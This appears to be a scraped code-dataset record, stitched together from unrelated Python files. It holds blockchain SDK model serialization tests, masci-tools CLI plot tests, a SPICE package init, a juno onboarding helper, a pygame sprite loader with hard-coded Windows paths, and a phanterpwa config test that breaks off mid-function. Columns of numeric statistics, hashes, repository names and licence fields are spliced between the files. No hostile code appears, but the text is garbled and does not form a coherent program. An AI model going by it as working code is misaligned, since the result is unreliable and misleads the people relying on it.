action_reenroll_model_json = {}
action_reenroll_model_json['tls_cert'] = True
action_reenroll_model_json['ecert'] = True
# Construct a model instance of ActionReenroll by calling from_dict on the json representation
action_reenroll_model = ActionReenroll.from_dict(action_reenroll_model_json)
assert action_reenroll_model != False
# Construct a model instance of ActionReenroll by calling from_dict on the json representation
action_reenroll_model_dict = ActionReenroll.from_dict(action_reenroll_model_json).__dict__
action_reenroll_model2 = ActionReenroll(**action_reenroll_model_dict)
# Verify the model instances are equivalent
assert action_reenroll_model == action_reenroll_model2
# Convert model instance back to dict and verify no loss of data
action_reenroll_model_json2 = action_reenroll_model.to_dict()
assert action_reenroll_model_json2 == action_reenroll_model_json
class TestActionRenew():
"""
Test Class for ActionRenew
"""
def test_action_renew_serialization(self):
"""
Test serialization/deserialization for ActionRenew
"""
# Construct a json representation of a ActionRenew model
action_renew_model_json = {}
action_renew_model_json['tls_cert'] = True
# Construct a model instance of ActionRenew by calling from_dict on the json representation
action_renew_model = ActionRenew.from_dict(action_renew_model_json)
assert action_renew_model != False
# Construct a model instance of ActionRenew by calling from_dict on the json representation
action_renew_model_dict = ActionRenew.from_dict(action_renew_model_json).__dict__
action_renew_model2 = ActionRenew(**action_renew_model_dict)
# Verify the model instances are equivalent
assert action_renew_model == action_renew_model2
# Convert model instance back to dict and verify no loss of data
action_renew_model_json2 = action_renew_model.to_dict()
assert action_renew_model_json2 == action_renew_model_json
class TestClientAuth():
"""
Test Class for ClientAuth
"""
def test_client_auth_serialization(self):
"""
Test serialization/deserialization for ClientAuth
"""
# Construct a json representation of a ClientAuth model
client_auth_model_json = {}
client_auth_model_json['type'] = 'noclientcert'
client_auth_model_json['tls_certs'] = ['testString']
# Construct a model instance of ClientAuth by calling from_dict on the json representation
client_auth_model = ClientAuth.from_dict(client_auth_model_json)
assert client_auth_model != False
# Construct a model instance of ClientAuth by calling from_dict on the json representation
client_auth_model_dict = ClientAuth.from_dict(client_auth_model_json).__dict__
client_auth_model2 = ClientAuth(**client_auth_model_dict)
# Verify the model instances are equivalent
assert client_auth_model == client_auth_model2
# Convert model instance back to dict and verify no loss of data
client_auth_model_json2 = client_auth_model.to_dict()
assert client_auth_model_json2 == client_auth_model_json
class TestHsm():
"""
Test Class for Hsm
"""
def test_hsm_serialization(self):
"""
Test serialization/deserialization for Hsm
"""
# Construct a json representation of a Hsm model
hsm_model_json = {}
hsm_model_json['pkcs11endpoint'] = 'tcp://example.com:666'
# Construct a model instance of Hsm by calling from_dict on the json representation
hsm_model = Hsm.from_dict(hsm_model_json)
assert hsm_model != False
# Construct a model instance of Hsm by calling from_dict on the json representation
hsm_model_dict = Hsm.from_dict(hsm_model_json).__dict__
hsm_model2 = Hsm(**hsm_model_dict)
# Verify the model instances are equivalent
assert hsm_model == hsm_model2
# Convert model instance back to dict and verify no loss of data
hsm_model_json2 = hsm_model.to_dict()
assert hsm_model_json2 == hsm_model_json
class TestIdentityAttrs():
"""
Test Class for IdentityAttrs
"""
def test_identity_attrs_serialization(self):
"""
Test serialization/deserialization for IdentityAttrs
"""
# Construct a json representation of a IdentityAttrs model
identity_attrs_model_json = {}
identity_attrs_model_json['hf.Registrar.Roles'] = '*'
identity_attrs_model_json['hf.Registrar.DelegateRoles'] = '*'
identity_attrs_model_json['hf.Revoker'] = True
identity_attrs_model_json['hf.IntermediateCA'] = True
identity_attrs_model_json['hf.GenCRL'] = True
identity_attrs_model_json['hf.Registrar.Attributes'] = '*'
identity_attrs_model_json['hf.AffiliationMgr'] = True
# Construct a model instance of IdentityAttrs by calling from_dict on the json representation
identity_attrs_model = IdentityAttrs.from_dict(identity_attrs_model_json)
assert identity_attrs_model != False
# Construct a model instance of IdentityAttrs by calling from_dict on the json representation
identity_attrs_model_dict = IdentityAttrs.from_dict(identity_attrs_model_json).__dict__
identity_attrs_model2 = IdentityAttrs(**identity_attrs_model_dict)
# Verify the model instances are equivalent
assert identity_attrs_model == identity_attrs_model2
# Convert model instance back to dict and verify no loss of data
identity_attrs_model_json2 = identity_attrs_model.to_dict()
assert identity_attrs_model_json2 == identity_attrs_model_json
class TestMspCryptoField():
"""
Test Class for MspCryptoField
"""
def test_msp_crypto_field_serialization(self):
"""
Test serialization/deserialization for MspCryptoField
"""
# Construct dict forms of any model objects needed in order to build this model.
msp_crypto_field_ca_model = {} # MspCryptoFieldCa
msp_crypto_field_ca_model['name'] = 'ca'
msp_crypto_field_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_field_tlsca_model = {} # MspCryptoFieldTlsca
msp_crypto_field_tlsca_model['name'] = 'tlsca'
msp_crypto_field_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_field_component_model = {} # MspCryptoFieldComponent
msp_crypto_field_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a json representation of a MspCryptoField model
msp_crypto_field_model_json = {}
msp_crypto_field_model_json['ca'] = msp_crypto_field_ca_model
msp_crypto_field_model_json['tlsca'] = msp_crypto_field_tlsca_model
msp_crypto_field_model_json['component'] = msp_crypto_field_component_model
# Construct a model instance of MspCryptoField by calling from_dict on the json representation
msp_crypto_field_model = MspCryptoField.from_dict(msp_crypto_field_model_json)
assert msp_crypto_field_model != False
# Construct a model instance of MspCryptoField by calling from_dict on the json representation
msp_crypto_field_model_dict = MspCryptoField.from_dict(msp_crypto_field_model_json).__dict__
msp_crypto_field_model2 = MspCryptoField(**msp_crypto_field_model_dict)
# Verify the model instances are equivalent
assert msp_crypto_field_model == msp_crypto_field_model2
# Convert model instance back to dict and verify no loss of data
msp_crypto_field_model_json2 = msp_crypto_field_model.to_dict()
assert msp_crypto_field_model_json2 == msp_crypto_field_model_json
class TestNodeOu():
"""
Test Class for NodeOu
"""
def test_node_ou_serialization(self):
"""
Test serialization/deserialization for NodeOu
"""
# Construct a json representation of a NodeOu model
node_ou_model_json = {}
node_ou_model_json['enabled'] = True
# Construct a model instance of NodeOu by calling from_dict on the json representation
node_ou_model = NodeOu.from_dict(node_ou_model_json)
assert node_ou_model != False
# Construct a model instance of NodeOu by calling from_dict on the json representation
node_ou_model_dict = NodeOu.from_dict(node_ou_model_json).__dict__
node_ou_model2 = NodeOu(**node_ou_model_dict)
# Verify the model instances are equivalent
assert node_ou_model == node_ou_model2
# Convert model instance back to dict and verify no loss of data
node_ou_model_json2 = node_ou_model.to_dict()
assert node_ou_model_json2 == node_ou_model_json
class TestNodeOuGeneral():
"""
Test Class for NodeOuGeneral
"""
def test_node_ou_general_serialization(self):
"""
Test serialization/deserialization for NodeOuGeneral
"""
# Construct a json representation of a NodeOuGeneral model
node_ou_general_model_json = {}
node_ou_general_model_json['enabled'] = True
# Construct a model instance of NodeOuGeneral by calling from_dict on the json representation
node_ou_general_model = NodeOuGeneral.from_dict(node_ou_general_model_json)
assert node_ou_general_model != False
# Construct a model instance of NodeOuGeneral by calling from_dict on the json representation
node_ou_general_model_dict = NodeOuGeneral.from_dict(node_ou_general_model_json).__dict__
node_ou_general_model2 = NodeOuGeneral(**node_ou_general_model_dict)
# Verify the model instances are equivalent
assert node_ou_general_model == node_ou_general_model2
# Convert model instance back to dict and verify no loss of data
node_ou_general_model_json2 = node_ou_general_model.to_dict()
assert node_ou_general_model_json2 == node_ou_general_model_json
# endregion
##############################################################################
# End of Model Tests
##############################################################################
| 55.682463
| 2,202
| 0.735028
| 89,282
| 840,137
| 6.486985
| 0.013709
| 0.024228
| 0.019343
| 0.023012
| 0.948709
| 0.926987
| 0.887329
| 0.84689
| 0.81203
| 0.767666
| 0
| 0.023885
| 0.182386
| 840,137
| 15,087
| 2,203
| 55.686154
| 0.819271
| 0.176532
| 0
| 0.650466
| 0
| 0.011242
| 0.264305
| 0.115397
| 0
| 0
| 0
| 0
| 0.0938
| 1
| 0.034749
| false
| 0.007041
| 0.012946
| 0
| 0.082784
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
705a59209b40b8efac56c5cc876e425092a5c6c1
| 2,958
|
py
|
Python
|
tests/cmdline/test_plot.py
|
JuDFTteam/masci-tools
|
f08f004bf9db99b687a3c67d6c82e628a9231634
|
[
"MIT"
] | 15
|
2018-11-07T10:04:46.000Z
|
2021-11-08T20:51:08.000Z
|
tests/cmdline/test_plot.py
|
JuDFTteam/masci-tools
|
f08f004bf9db99b687a3c67d6c82e628a9231634
|
[
"MIT"
] | 120
|
2020-02-04T15:37:42.000Z
|
2022-03-17T10:49:40.000Z
|
tests/cmdline/test_plot.py
|
JuDFTteam/masci-tools
|
f08f004bf9db99b687a3c67d6c82e628a9231634
|
[
"MIT"
] | 11
|
2018-10-18T08:09:07.000Z
|
2022-02-22T15:45:21.000Z
|
# -*- coding: utf-8 -*-
"""
Test of the plot commands in the cli
Here we do not test the actual content of the plot but only that the
commands work without error
"""
from pathlib import Path
import os
import pytest
def test_fleur_dos():
"""
Test of the fleur-dos routine without options
"""
from masci_tools.cmdline.commands.plot import plot_fleur_banddos_dos
from click.testing import CliRunner
TEST_FILE = Path(__file__).parent.resolve() / Path('../files/hdf5_reader/banddos_dos.hdf')
runner = CliRunner()
args = [os.fspath(TEST_FILE), '--save']
with runner.isolated_filesystem():
result = runner.invoke(plot_fleur_banddos_dos, args)
print(result.output)
assert result.exception is None, 'An unexpected exception occured: {result.exception}'
assert os.path.isfile('dos_plot.png')
def test_fleur_dos_recipe():
"""
Test of the fleur-dos routine with options
"""
from masci_tools.cmdline.commands.plot import plot_fleur_banddos_dos
from click.testing import CliRunner
TEST_FILE = Path(__file__).parent.resolve() / Path('../files/hdf5_reader/banddos_spinpol_dos.hdf')
runner = CliRunner()
args = [os.fspath(TEST_FILE), '--save', '--recipe', 'FleurJDOS', '--l_resolved', 'all', '--interstitial', 'False']
with runner.isolated_filesystem():
with pytest.warns(UserWarning):
result = runner.invoke(plot_fleur_banddos_dos, args)
print(result.output)
assert result.exception is None, 'An unexpected exception occured: {result.exception}'
assert os.path.isfile('dos_plot.png')
def test_fleur_bands():
"""
Test of the fleur-bands routine without options
"""
from masci_tools.cmdline.commands.plot import plot_fleur_banddos_bands
from click.testing import CliRunner
TEST_FILE = Path(__file__).parent.resolve() / Path('../files/hdf5_reader/banddos_bands.hdf')
runner = CliRunner()
args = [os.fspath(TEST_FILE), '--save']
with runner.isolated_filesystem():
result = runner.invoke(plot_fleur_banddos_bands, args)
print(result.output)
assert result.exception is None, 'An unexpected exception occured: {result.exception}'
assert os.path.isfile('bandstructure.png')
def test_fleur_bands_recipe():
"""
Test of the fleur-bands routine with options
"""
from masci_tools.cmdline.commands.plot import plot_fleur_banddos_bands
from click.testing import CliRunner
TEST_FILE = Path(__file__).parent.resolve() / Path('../files/hdf5_reader/banddos_bands.hdf')
runner = CliRunner()
args = [os.fspath(TEST_FILE), '--save', '--weight', 'MT:1s']
with runner.isolated_filesystem():
result = runner.invoke(plot_fleur_banddos_bands, args)
print(result.output)
assert result.exception is None, 'An unexpected exception occured: {result.exception}'
assert os.path.isfile('bandstructure.png')
| 35.214286
| 118
| 0.698107
| 381
| 2,958
| 5.215223
| 0.215223
| 0.036236
| 0.064419
| 0.028183
| 0.853548
| 0.836437
| 0.800201
| 0.800201
| 0.800201
| 0.800201
| 0
| 0.002491
| 0.185598
| 2,958
| 83
| 119
| 35.638554
| 0.822333
| 0.114604
| 0
| 0.75
| 0
| 0
| 0.198354
| 0.061152
| 0
| 0
| 0
| 0
| 0.166667
| 1
| 0.083333
| false
| 0
| 0.229167
| 0
| 0.3125
| 0.083333
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
708830a2de273a527bcaee864fcfeb42f3498946
| 73
|
py
|
Python
|
SPICE/__init__.py
|
nfahlgren/SPICE_py
|
9e7e04f69ea39ed0179404dca5cb9143655b0a24
|
[
"MIT"
] | 6
|
2019-01-10T00:09:03.000Z
|
2022-03-03T17:48:09.000Z
|
SPICE/__init__.py
|
nfahlgren/SPICE_py
|
9e7e04f69ea39ed0179404dca5cb9143655b0a24
|
[
"MIT"
] | 2
|
2020-05-14T13:47:27.000Z
|
2020-05-21T16:27:15.000Z
|
SPICE/__init__.py
|
nfahlgren/SPICE_py
|
9e7e04f69ea39ed0179404dca5cb9143655b0a24
|
[
"MIT"
] | 6
|
2019-01-07T15:11:34.000Z
|
2022-01-13T20:36:27.000Z
|
from SPICE.SPICE import *
from SPICE.QPP import *
from SPICE import util
| 18.25
| 25
| 0.780822
| 12
| 73
| 4.75
| 0.416667
| 0.473684
| 0.526316
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.164384
| 73
| 3
| 26
| 24.333333
| 0.934426
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
3b2fd3edf85f1ce6d197fccd514a3f742d127c0e
| 222
|
py
|
Python
|
juno/onboarding.py
|
ASG09/juno-python
|
45d7a58c5d226fd3ef8c33abfefa62644577e3be
|
[
"MIT"
] | 7
|
2021-04-16T01:55:43.000Z
|
2021-11-29T22:56:51.000Z
|
juno/onboarding.py
|
ASG09/juno-python
|
45d7a58c5d226fd3ef8c33abfefa62644577e3be
|
[
"MIT"
] | 6
|
2021-02-16T14:23:26.000Z
|
2022-02-13T20:39:23.000Z
|
juno/onboarding.py
|
ASG09/juno-python
|
45d7a58c5d226fd3ef8c33abfefa62644577e3be
|
[
"MIT"
] | 3
|
2021-06-24T04:17:18.000Z
|
2021-11-29T22:20:32.000Z
|
from juno.resources import handler_request
from juno.resources.routes import onboarding_routes
def account_new_onboarding_request(dictionary):
return handler_request.post(onboarding_routes.get_base_url(), dictionary)
| 37
| 77
| 0.86036
| 29
| 222
| 6.275862
| 0.586207
| 0.087912
| 0.186813
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.081081
| 222
| 6
| 77
| 37
| 0.892157
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.5
| 0.25
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
3ba17a305fbd04099306121b18190ec4be2605ce
| 5,177
|
py
|
Python
|
theGame/gameSprites.py
|
TiagoFeu/extintorVirtual
|
30ab0f898ea818e0449209b3c0ca3b6046b23814
|
[
"MIT"
] | null | null | null |
theGame/gameSprites.py
|
TiagoFeu/extintorVirtual
|
30ab0f898ea818e0449209b3c0ca3b6046b23814
|
[
"MIT"
] | null | null | null |
theGame/gameSprites.py
|
TiagoFeu/extintorVirtual
|
30ab0f898ea818e0449209b3c0ca3b6046b23814
|
[
"MIT"
] | null | null | null |
import sys
import pygame
def loadSprites():
fire1 = [pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\fire1_01.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\fire1_02.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\fire1_03.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\fire1_04.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\fire1_05.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\fire1_06.png')]
fire2 = [pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\fire2_01.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\fire2_02.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\fire2_03.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\fire2_04.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\fire2_05.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\fire2_06.png')]
smoke = [pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\smoke_01.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\smoke_02.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\smoke_03.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\smoke_04.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\smoke_05.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\smoke_06.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\smoke_07.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\smoke_08.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\smoke_09.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\general\\smoke_10.png')]
material = [pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\level1\\wood.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\level2\\geladeira.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\level3\\oil.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\level3\\spill.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\level4\\lixeira.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\level4\\papel.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\level5\\alcohol_bottle.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\level5\\spill.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\level6\\car.png')]
logo = pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\mainScreen\\logo.png')
prevButton = pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\mainScreen\\prev.png')
faseButton = [pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\mainScreen\\fase1.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\mainScreen\\fase2.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\mainScreen\\fase3.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\mainScreen\\fase4.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\mainScreen\\fase5.png'),
pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\mainScreen\\fase6.png')]
background = pygame.image.load('C:\\Users\\Tiago Feu\\Desktop\\extintorVirtual\\theGame\\assets\\levels\\mainScreen\\background.png')
return fire1, fire2, smoke, material, background, logo, prevButton, faseButton
| 97.679245
| 137
| 0.67993
| 624
| 5,177
| 5.604167
| 0.096154
| 0.125822
| 0.171576
| 0.183014
| 0.913354
| 0.913354
| 0.913354
| 0.913354
| 0.913354
| 0.913354
| 0
| 0.01639
| 0.11609
| 5,177
| 53
| 138
| 97.679245
| 0.747815
| 0
| 0
| 0
| 0
| 0.409091
| 0.687717
| 0.556392
| 0
| 0
| 0
| 0
| 0
| 1
| 0.022727
| false
| 0
| 0.045455
| 0
| 0.090909
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
8e569c55de9f809678c7b97a32443af40ceb407d
| 12,204
|
py
|
Python
|
phanterpwa/tests/test_configer.py
|
PhanterJR/phanterpwa
|
6daff40845b3a853cd08d319c4ce148f8deebed7
|
[
"MIT"
] | 2
|
2019-06-06T10:37:01.000Z
|
2021-10-16T03:36:28.000Z
|
phanterpwa/tests/test_configer.py
|
PhanterJR/phanterpwa
|
6daff40845b3a853cd08d319c4ce148f8deebed7
|
[
"MIT"
] | null | null | null |
phanterpwa/tests/test_configer.py
|
PhanterJR/phanterpwa
|
6daff40845b3a853cd08d319c4ce148f8deebed7
|
[
"MIT"
] | null | null | null |
import os
import sys
import json
import unittest
import configparser
from phanterpwa.configer import ProjectConfig
from phanterpwa.tools import interpolate
CURRENT_DIR = os.path.normpath(os.path.join(os.path.dirname(__file__)))
ENV_PYTHON = os.path.normpath(sys.executable)
sample_cfg = """{
"CONFIG_INDENTIFY": "project_config",
"ENVIRONMENT": {
"python": "{{pyenv}}",
"path": "{{pypath}}"
},
"PROJECT": {
"name": "project01",
"title": "PhanterPWA",
"version": "0.0.1",
"compilation": 0,
"author": "PhanterJR<phanterjr@conexaodidata.com.br>",
"debug": true,
"packaged": true,
"minify": false,
"baseport": 10000,
"basehost": "127.0.0.1",
"path": "{{projectpath}}"
},
"FRONTEND": {
"app01": {
"build_folder": "{{app01}}",
"title": "app01",
"transcrypt_main_file": "application",
"styles_main_file": "application",
"views_main_file": "index",
"timeout_to_resign": 600,
"host": "127.0.0.1",
"port": 10001
},
"app02": {
"build_folder": "{{app02}}",
"title": "app02",
"transcrypt_main_file": "application",
"styles_main_file": "application",
"views_main_file": "index",
"timeout_to_resign": 600,
"host": "127.0.0.1",
"port": 10002
}
},
"BACKEND": {
"api": {
"title": "PhanterPWA Backend",
"default_time_user_token_expire": 7200,
"default_time_user_token_expire_remember_me": 2592000,
"default_time_csrf_token_expire": 4200,
"default_time_temporary_password_expire": 4200,
"timeout_to_resend_temporary_password_mail": 3900,
"default_time_client_token_expire": 63072000,
"default_time_activation_code_expire": 3600,
"default_time_two_factor_code_expire": 3600,
"wait_time_to_try_activate_again": 3900,
"timeout_to_resend_activation_email": 300,
"timeout_to_resign": 600,
"timeout_to_next_login_attempt": 4200,
"max_login_attempts": 5,
"max_activation_attempts": 5,
"host": "127.0.0.1",
"port": 10000,
"secret_key": "{{secret_key}}",
"url_secret_key": "{{url_secret_key}}"
}
}
}"""
sample_cfg2 = """{
"CONFIG_INDENTIFY": "project_config",
"ENVIRONMENT": {
"python": "{{pyenv}}",
"path": "{{pypath}}"
},
"PROJECT": {
"name": "project_without_confgjson_and_with_ini",
"title": "CHANGED",
"version": "0.0.1",
"compilation": 0,
"author": "PhanterJR<phanterjr@conexaodidata.com.br>",
"debug": true,
"packaged": true,
"path": "{{projectpath}}"
},
"API": {
"secret_key": "{{secret_key}}",
"url_secret_key": "{{url_secret_key}}",
"default_time_user_token_expire": 7200,
"default_time_user_token_expire_remember_me": 2592000,
"default_time_csrf_token_expire": 4200,
"default_time_temporary_password_expire": 4200,
"timeout_to_resend_temporary_password_mail": 3900,
"default_time_client_token_expire": 63072000,
"default_time_activation_code_expire": 3600,
"default_time_two_factor_code_expire": 3600,
"wait_time_to_try_activate_again": 3900,
"timeout_to_resend_activation_email": 300,
"timeout_to_resign": 600,
"timeout_to_next_login_attempt": 4200,
"max_login_attempts": 5,
"max_activation_attempts": 5,
"remote_address_debug": "http://127.0.0.1:8881",
"websocket_address_debug": "ws://127.0.0.1:8881/api/websocket",
"remote_address": "https://your_domain.com",
"websocket_address": "wss://your_domain.com/api/websocket",
"host": "127.0.0.1",
"port": 8881
},
"FRONTEND": {
"app01": {
"build_folder": "{{app01}}",
"title": "app01",
"timeout_to_resign": 600,
"transcrypt_main_file": "application",
"styles_main_file": "application",
"views_main_file": "index",
"host": "127.0.0.1",
"port": 8882
},
"app02": {
"build_folder": "{{app02}}",
"title": "app02",
"timeout_to_resign": 600,
"transcrypt_main_file": "application",
"styles_main_file": "application",
"views_main_file": "index",
"host": "127.0.0.1",
"port": 8883
}
},
"EMAIL": {
"server": "mail.yourservermail.com",
"username": "username@yourservermail.com",
"default_sender": "contato@conexaodidata.com.br",
"password": "{{password}}",
"port": 465,
"use_tls": false,
"use_ssl": true
},
"CONTENT_EMAILS": {
"copyright": "Conex\u00e3o Didata \u00a9 2011-{{now}}",
"link_to_your_site": "https://phanterpwa.conexaodidata.com.br"
}
}"""
api_sample = """[API]
default_time_user_token_expire = 7200
default_time_user_token_expire_remember_me = 2592000
default_time_csrf_token_expire = 4200
default_time_temporary_password_expire = 4200
timeout_to_resend_temporary_password_mail = 3900
default_time_client_token_expire = 63072000
default_time_activation_code_expire = 3600
default_time_two_factor_code_expire = 3600
wait_time_to_try_activate_again = 3900
timeout_to_resend_activation_email = 300
timeout_to_resign = 600
timeout_to_next_login_attempt = 4200
max_login_attempts = 5
max_activation_attempts = 5
remote_address_debug = http://127.0.0.1:8881
websocket_address_debug = ws://127.0.0.1:8881/api/websocket
remote_address = https://your_domain.com
websocket_address = wss://your_domain.com/api/websocket
host = 127.0.0.1
port = 8881
"""
project_sample = """[PROJECT]
title = CHANGED
version = 0.0.1
author = PhanterJR<phanterjr@conexaodidata.com.br>
debug = True
packaged = True
[EMAIL]
server = mail.yourservermail.com
username = username@yourservermail.com
default_sender = contato@conexaodidata.com.br
port = 465
use_tls = False
use_ssl = True
[CONTENT_EMAILS]
copyright = Conexão Didata © 2011-{{now}}
link_to_your_site = https://phanterpwa.conexaodidata.com.br
"""
project_sample2 = """[PROJECT]
title = PhanterPWA
version = 0.0.1
author = PhanterJR<phanterjr@conexaodidata.com.br>
debug = True
packaged = True
[EMAIL]
server = mail.yourservermail.com
username = username@yourservermail.com
default_sender = contato@conexaodidata.com.br
port = 465
use_tls = False
use_ssl = True
[CONTENT_EMAILS]
copyright = Conexão Didata © 2011-{{now}}
link_to_your_site = https://phanterpwa.conexaodidata.com.br
"""
class TestProjectConfig(unittest.TestCase):
def test0_documentation_example(self):
# module doc
import phanterpwa
path_dir = os.path.join(os.path.dirname(phanterpwa.__file__), "tests", "test_configer_path", "project01")
if os.path.isfile(os.path.join(path_dir, "config.json")):
os.remove(os.path.join(path_dir, "config.json"))
# if os.path.isfile(os.path.join(path_dir, "backapps", "api", "app.ini")):
# os.remove(os.path.join(path_dir, "backapps", "api", "app.ini"))
if os.path.isfile(os.path.join(path_dir, "project.ini")):
os.remove(os.path.join(path_dir, "project.ini"))
cfg = ProjectConfig(path_dir)
print(cfg._ini_apps_backend)
